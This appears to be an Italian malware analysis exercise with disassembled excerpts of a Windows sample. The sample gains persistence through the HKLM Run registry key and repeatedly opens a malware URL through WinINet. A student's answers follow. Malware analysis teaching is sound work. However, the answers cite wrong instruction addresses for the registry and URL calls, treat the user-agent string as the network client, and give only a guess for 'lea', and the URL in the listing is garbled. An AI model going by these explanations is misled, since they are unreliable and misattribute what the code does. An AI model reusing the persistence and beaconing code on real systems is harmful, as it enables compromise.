

Malware Analysis - Windows malware

Traccia:

Con riferimento agli estratti di un malware reale presenti nelle prossime immagini, rispondere alle seguenti domande:

- Descrivere come il malware ottiene la persistenza, evidenziando il codice assembly dove le relative istruzioni e chiamate di funzioni vengono eseguite
- Identificare il client software utilizzato dal malware per la connessione ad Internet
- Identificare l'URL al quale il malware tenta di connettersi ed evidenziare la chiamata di funzione che permette al malware di connettersi ad un URL
- BONUS: qual è il significato e il funzionamento del comando assembly "lea"

```
0040286F  push    2                ; samDesired
00402871  push    eax               ; ulOptions
00402872  push    offset SubKey     ; "Software\\Microsoft\\Windows\\CurrentVersion\\Run"
00402877  push    HKEY_LOCAL_MACHINE ; hKey
0040287C  call    esi               ; RegOpenKeyExW
0040287E  test    eax, eax
00402880  jnz     short loc_4028C5
00402882
00402882  loc_402882:
00402882  lea     ecx, [esp+424h+Data]
00402886  push    ecx               ; lpString
00402887  mov     bl, 1
00402889  call    ds:strlenW
0040288F  lea     edx, [eax+eax+2]
00402893  push    edx               ; cbData
00402894  mov     edx, [esp+428h+hKey]
00402898  lea     eax, [esp+428h+Data]
0040289C  push    eax               ; lpData
0040289D  push    1                 ; dwType
0040289F  push    0                 ; Reserved
004028A1  lea     ecx, [esp+434h+ValueName]
004028A8  push    ecx               ; lpValueName
004028A9  push    edx               ; hKey
004028AA  call    ds:RegSetValueExW
```

```
.text:00401150 ; !!!!!!!!!!!!!!! S U B R O U T I N E !!!!!!!!!!!!!!!
.text:00401150
.text:00401150 ; DWORD __stdcall StartAddress(LPVOID)
.text:00401150 StartAddress  proc near                ; DATA XREF: sub_401040+EC70
.text:00401150     push    esi
.text:00401151     push    edi
.text:00401152     push    0                ; dwFlags
.text:00401154     push    0                ; lpszProxyBypass
.text:00401156     push    0                ; lpszProxy
.text:00401158     push    1                ; dwAccessType
.text:0040115A     push    offset szAgent    ; "Internet Explorer 8.0"
.text:0040115F     call    ds:InternetOpenA
.text:00401165     mov     edi, ds:InternetOpenUrlA
.text:0040116B     mov     esi, eax
.text:0040116D
.text:0040116D  loc_40116D:                ; CODE XREF: StartAddress+30↓j
.text:0040116D     push    0                ; dwContext
.text:0040116F     push    80000000h         ; dwFlags
.text:00401174     push    0                ; dwHeadersLength
.text:00401176     push    0                ; lpszHeaders
.text:00401178     push    offset szUrl      ; "http://www.malware12COM
.text:0040117D     push    esi               ; hInternet
.text:0040117E     call    edi               ; InternetOpenUrlA
.text:00401180     jmp     short loc_40116D
.text:00401180 StartAddress  endp
.text:00401180
```

Descrizione di come il malware ottiene la persistenza

Il malware ottiene la persistenza scrivendo una chiave nel registro di Windows. Nello specifico, aggiunge una voce sotto HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run, che è una posizione comune utilizzata dai malware per garantire che il codice dannoso venga eseguito ad ogni avvio del sistema operativo.

Il codice assembly che gestisce questa operazione è il seguente

0040286F - 0040287B: Queste istruzioni preparano i parametri per la chiamata alla funzione RegOpenKeyExW, che apre la chiave di registro
HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run

00402887: Viene chiamata la funzione RegSetValueExW, che è utilizzata per scrivere un valore in una chiave del registro. In questo caso, il malware scrive un valore che verrà eseguito ad ogni avvio del sistema, garantendo così la persistenza.

Identificazione del client software utilizzato dal malware per la connessione ad Internet

Il malware utilizza Internet Explorer come client per la connessione a Internet. Questo è evidente dalla stringa Internet Explorer 8.0 passata come parametro alla funzione InternetOpenA (riga 00401158).

Identificazione dell'URL e la funzione per la connessione

L'URL al quale il malware tenta di connettersi è <http://www.malware12.com>. Questo URL è caricato nell'istruzione 0040116D, e viene passato come parametro alla funzione InternetOpenUrlA (riga 00401172).

BONUS: Il significato e il funzionamento del comando assembly "lea"

Se dovessi indovinare cosa potrebbe fare il comando LEA, direi che sembra un comando che "carica un indirizzo in un registro senza leggere o scrivere dati da quel punto di memoria". Forse sta prendendo una specie di "scorciatoia" per calcolare velocemente un puntatore o un indirizzo.

Immagino potrebbe essere utile quando devi fare un sacco di calcoli su indirizzi di memoria o quando lavori con puntatori.